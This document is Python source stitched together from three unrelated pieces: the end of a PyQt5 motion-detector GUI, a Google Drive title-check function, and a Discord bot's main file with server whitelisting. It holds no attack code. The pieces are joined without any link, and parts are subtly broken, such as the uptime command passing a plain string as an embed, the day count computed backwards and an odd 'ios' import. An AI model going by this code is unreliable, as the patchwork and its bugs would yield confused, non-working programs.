        self.listWidget.setStyleSheet("background-color: #5CDB95;")
        self.listWidget.itemActivated.connect(previewDetails)

    #Calendar Widget
        self.calendarWidget = QtWidgets.QCalendarWidget(self.centralwidget)
        self.calendarWidget.setGeometry(QtCore.QRect(370, 250, 392, 236))
        self.calendarWidget.setObjectName("calendarWidget")
        self.calendarWidget.setStyleSheet("background-color: #EDF5E1; color: #379683;")
        #self.calendarWidget.setStyleSheet("background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1, stop: 0 #05386B, stop: 1 #333333);}")
        self.calendarWidget.clicked[QtCore.QDate].connect(self.showDate) #date click event

    #Time Label
        self.timeLabel = QtWidgets.QLabel(self.centralwidget)
        self.timeLabel.setGeometry(QtCore.QRect(370, 180, 61, 16))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.timeLabel.setFont(font)
        self.timeLabel.setObjectName("timeLabel")
        self.timeLabel.setStyleSheet("color: white;")
        font.setBold(True)

    #viewImageBtn
        self.viewImageBtn = QtWidgets.QPushButton(self.centralwidget)
        self.viewImageBtn.setGeometry(QtCore.QRect(370, 500, 121, 28))
        self.viewImageBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.viewImageBtn.setFont(font)
        self.viewImageBtn.setObjectName("viewImageBtn")
        self.viewImageBtn.clicked.connect(partial(self.openViewFullImageWindow, True))

    #objectField
        self.objectField = QtWidgets.QLabel(self.centralwidget)
        self.objectField.setGeometry(QtCore.QRect(540, 130, 221, 31))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.objectField.setFont(font)
        self.objectField.setFrameShape(QtWidgets.QFrame.Box)
        self.objectField.setText("")
        self.objectField.setStyleSheet("color: white;")
        self.objectField.setObjectName("objectField")

    #timeField
        self.timeField = QtWidgets.QLabel(self.centralwidget)
        self.timeField.setGeometry(QtCore.QRect(540, 170, 221, 31))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.timeField.setFont(font)
        self.timeField.setFrameShape(QtWidgets.QFrame.Box)
        self.timeField.setText("")
        self.timeField.setStyleSheet("color: white;")
        self.timeField.setObjectName("timeField")

    #startDetectBtn
        self.startDetectBtn = QtWidgets.QPushButton(self.centralwidget)
        self.startDetectBtn.setGeometry(QtCore.QRect(920, 120, 131, 28))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.startDetectBtn.setFont(font)
        self.startDetectBtn.setObjectName("startDetectBtn")
        self.startDetectBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")
        # for video timer implementation: self.startDetectBtn.clicked.connect(self.controlTimer)
        self.startDetectBtn.clicked.connect(openCamWindow)

    #openPlotBtn
        self.openPlotBtn = QtWidgets.QPushButton(self.centralwidget)
        self.openPlotBtn.setGeometry(QtCore.QRect(920, 200, 93, 28))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.openPlotBtn.setFont(font)
        self.openPlotBtn.setObjectName("openPlotBtn")
        self.openPlotBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")
        self.openPlotBtn.clicked.connect(openPlot)

    #deleteBtn
        self.deleteBtn = QtWidgets.QPushButton(self.centralwidget)
        self.deleteBtn.setGeometry(QtCore.QRect(920, 240, 93, 28))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.deleteBtn.setFont(font)
        self.deleteBtn.setObjectName("deleteBtn")
        self.deleteBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")

    #viewDetectBtn
        self.viewDetectBtn = QtWidgets.QPushButton(self.centralwidget)
        self.viewDetectBtn.setGeometry(QtCore.QRect(580, 500, 171, 28))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.viewDetectBtn.setFont(font)
        self.viewDetectBtn.setObjectName("viewDetectBtn")
        self.viewDetectBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")
        self.viewDetectBtn.clicked.connect(partial(self.openViewFullImageWindow,False))

    #stopDetectBtn
        self.stopDetectBtn = QtWidgets.QPushButton(self.centralwidget)
        self.stopDetectBtn.setGeometry(QtCore.QRect(920, 160, 131, 28))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.stopDetectBtn.setFont(font)
        self.stopDetectBtn.setObjectName("stopDetectBtn")
        self.stopDetectBtn.setStyleSheet("color: #EDF5E1; background-color: #05386B; border-style: outset; border-width: 2px; border-radius: 10px; border-color: #EDF5E1; font: bold 14px; min-width: 10em; padding: 6px;")
        #self.stopDetectBtn.clicked.connect(testthread)

    #previewLabel
        self.previewLabel = QtWidgets.QLabel(self.centralwidget)
        self.previewLabel.setGeometry(QtCore.QRect(800, 280, 71, 16))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.previewLabel.setFont(font)
        self.previewLabel.setStyleSheet("color: white;")
        self.previewLabel.setObjectName("previewLabel")

    #imagePreview
        self.imagePreview = QtWidgets.QLabel(self.centralwidget)
        self.imagePreview.setGeometry(QtCore.QRect(800, 320, 301, 261))
        self.imagePreview.setFrameShape(QtWidgets.QFrame.Box)
        self.imagePreview.setText("")
        self.imagePreview.setObjectName("imagePreview")
        MainWindow.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(MainWindow)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 1120, 26))
        self.menubar.setObjectName("menubar")
        MainWindow.setMenuBar(self.menubar)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        _translate = QtCore.QCoreApplication.translate
        MainWindow.setWindowTitle(_translate("MainWindow", "Detekt"))
        self.dateLabel.setText(_translate("MainWindow", "Date:"))
        self.objectDetectedLabel.setText(_translate("MainWindow", "Object(s) Detected:"))
        self.titleLabel.setText(_translate("MainWindow", "Detekt - Motion Detector Application"))
        self.timeLabel.setText(_translate("MainWindow", "Time:"))
        self.viewImageBtn.setText(_translate("MainWindow", "View Full Image"))
        self.startDetectBtn.setText(_translate("MainWindow", "Start Detector"))
        self.openPlotBtn.setText(_translate("MainWindow", "Open Plot"))
        self.deleteBtn.setText(_translate("MainWindow", "Delete"))
        self.viewDetectBtn.setText(_translate("MainWindow", "View Detector Image"))
        self.stopDetectBtn.setText(_translate("MainWindow", "Stop Detector"))
        self.previewLabel.setText(_translate("MainWindow", "Preview:"))

    def showDate(self, date):
        date = date.toString()[4:]
        #print(date)
        datelist = date.split(' ')

        if datelist[0] == 'Jan':
            datelist[0] = '01'
        elif datelist[0] == 'Feb':
            datelist[0] = '02'
        elif datelist[0] == 'Mar':
            datelist[0] = '03'
        elif datelist[0] == 'Apr':
            datelist[0] = '04'
        elif datelist[0] == 'May':
            datelist[0] = '05'
        elif datelist[0] == 'Jun':
            datelist[0] = '06'
        elif datelist[0] == 'Jul':
            datelist[0] = '07'
        elif datelist[0] == 'Aug':
            datelist[0] = '08'
        elif datelist[0] == 'Sep':
            datelist[0] = '09'
        elif datelist[0] == 'Oct':
            datelist[0] = '10'
        elif datelist[0] == 'Nov':
            datelist[0] = '11'
        else:
            datelist[0] = '12'

        date = datelist[2] + '-' + datelist[0] + '-' + datelist[1]
        print(date)
        addToList(date)

def addToList(date):
    rows = dboperations.viewList(date)
    ui.listWidget.clear()
    for row in rows:
        #element = row[0]+"-"+row[1]
        ui.listWidget.addItem(str(row[0])+"-"+row[1])
    print(rows)
#    for i in range(10):
#        ui.listWidget.addItem('Item %s' % (i + 1))

def showToday():
    ui.listWidget.clear()
    dt = datetime.now()
    #today = f'{dt.year}-{dt.month}-{dt.day}'
    today = dt.strftime('%Y-%m-%d')
    print(today)
    addToList(today)

def previewDetails(item):
    lstString = item.text()
    lstString = lstString.split('-')
    imgPath = dboperations.viewPreview(int(lstString[0]),str(lstString[1]))
    global viewImgPath
    global viewDetectImgPath

    #Update image details
    viewImgPath = str(imgPath[0][0])
    viewDetectImgPath = str(imgPath[0][1])
    ui.imagePreview.setAlignment(QtCore.Qt.AlignCenter)
    ui.imagePreview.setPixmap(QtGui.QPixmap(imgPath[0][0]).scaledToWidth(300))
    #ui.imagePreview.setPixmap(QtGui.QPixmap("images/sample.jpeg"))
    ui.timeField.setText(str(imgPath[0][2]))

    #Update object field details
    objectInfo = ''
    details = dboperations.getObjectDetails(int(lstString[0]))
    for objectName, quantity in details:
        objectInfo+=str(objectName)+' (x'+str(quantity)+'), '

    ui.objectField.setText(objectInfo)

def openCamWindow():
    import custom_image_detect

    video_capture.release()
    cv2.destroyAllWindows()

def openPlot():
    csvfile = dboperations.get_csv(viewImgPath)
    times_df = pd.read_csv(csvfile)
    print(times_df.head())

    from bokeh.plotting import figure, show, output_file
    from bokeh.models import HoverTool, ColumnDataSource

    #Format datetime in dataframe
    times_df['Start'] = pd.to_datetime(times_df['Start'])
    times_df['End'] = pd.to_datetime(times_df['End'])
    times_df["Start_str"] = times_df["Start"].dt.strftime("%Y-%m-%d %H-%M-%S")
    times_df["End_str"] = times_df["End"].dt.strftime("%Y-%m-%d %H-%M-%S")

    col_dt_src = ColumnDataSource(times_df)

    #plot graph
    plot = figure(x_axis_type = 'datetime', height = 100, width = 500, sizing_mode= "scale_both", title = "Object Detection History")
    plot.yaxis.minor_tick_line_color = None
    plot.ygrid[0].ticker.desired_num_ticks = 1
    plot.title.text_font_size = "30pt"

    hover = HoverTool(tooltips = [("Object Entrance Time", "@Start_str"), ("Object Exit Time", "@End_str")])
    plot.add_tools(hover)

    q = plot.quad(left = "Start", right = "End", bottom = 0, top = 1, color = "blue", source = col_dt_src)

    output_file("MotionGraph.html")
    show(plot)

if __name__ == "__main__":
    import sys
    viewImgPath = ''
    viewDetectImgPath = ''
    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    showToday()
    MainWindow.show()
    sys.exit(app.exec_())


import requests
from bs4 import BeautifulSoup

def isAccess():
    url = 'https://drive.google.com/open?id=1Ab29PPkzm53DloQKHmYe5PRkxFXCchSj'
    html = requests.get(url).text
    soup = BeautifulSoup(html, 'html.parser')
    title = str(soup.find('title'))
    if 'access_BanManager' in title:
        return True
    else:
        return False


import ios, discord, os, datetime, requests, json, time, ast, re, inspect
from db import db
from glob import glob
from asyncio import sleep
from utils import utility
from discord.ui import Button, View
from discord.ext import commands, tasks
from discord.ext.commands import Context
from datetime import datetime, timedelta
from discord import Embed, File, DMChannel
from discord.ext.commands import Bot as bot_base
from apscheduler.triggers.cron import CronTrigger
from discord.errors import HTTPException, Forbidden
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from discord.ext.commands import when_mentioned_or, command, has_permissions
from discord.ext.commands import (CommandNotFound, BadArgument, MissingRequiredArgument, CommandOnCooldown)

db_manager = db.database_manager()
utility_api = utility.utility_api()

COGS = [path.split("\\")[-1][:-3] for path in glob("./cogs/*.py")]
IGNORE_EXCEPTIONS = (CommandNotFound, BadArgument)

intents = discord.Intents.default()
intents.message_content = True
intents.members = True
intents.guilds = True

def get_prefix(bot, message):
    if not message.guild:
        return commands.when_mentioned_or("-")(bot, message)
    prefix = db_manager.record("SELECT prefix FROM guilds WHERE guild_id=?", int(message.guild.id))[0]
    return commands.when_mentioned_or(prefix)(bot,message)

intents = discord.Intents.all()
intents.message_content = True
intents.members = True
intents.guilds = True

bot = commands.Bot(
    command_prefix=get_prefix,
    case_insensitive=True,
    intents=intents,
    help_command=None
)

bot.remove_command("help")
start_time = time.time()

async def load_extensions():
    for filename in os.listdir("./cogs"):
        if filename.endswith(".py"):
            await bot.load_extension(f"cogs.{filename[:-3]}")

def update_db():
    db_manager.multiexec("INSERT OR IGNORE INTO guilds (guild_id) VALUES (?)",
                ((int(guild.id),) for guild in bot.guilds))
    db_manager.commit()

async def check_whitelist(guild_id):
    whitelisted_guilds = db_manager.column("SELECT guild_id FROM whitelist")
    if int(guild_id) in whitelisted_guilds:
        pass
    else:
        embed = Embed(title="server not whitelisted",
        description="contact dev: .e#0666",
        colour=int(utility_api.get_bot_color()))

        channels = []
        for channel in bot.get_guild(int(guild_id)).text_channels:
            channels.append(channel.id)

        channel = bot.get_channel(int(channels[0]))
        await channel.send(embed=embed)

        await bot.get_guild(int(guild_id)).leave()

@bot.event
async def on_ready():
    await load_extensions()
    status_log = bot.get_channel(1046140877740965888)
    print('-' * 30)
    status_msg = f"{bot.user} is ready with {len(bot.commands)} commands in {len(bot.guilds)} servers"
    print(status_msg)
    print('-' * 30)
    await status_log.send(embed=discord.Embed(title="status", description=status_msg, color=0x2f3136, timestamp=datetime.utcnow()))
    await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.competing, name="-help"))
    for guild in bot.guilds:
        await check_whitelist(guild.id)

    update_db()

def upt():
    seconds = time.time() - start_time
    hour = seconds // 3600
    seconds %= 3600
    mins = seconds // 60
    day = hour * 24
    return "\ðŸŸ¢ Online For `%02dD %02dH %02dM`" % (day, hour, mins)

@bot.command()
async def uptime(ctx):
    if utility_api.check_white_listed(ctx.author.id):
        await ctx.send(embed=upt())
    else:
        await ctx.send(f"{ctx.author.mention}, you are not whitelisted contact server owner.", delete_after=5)

bot.run(utility_api.get_bot_token())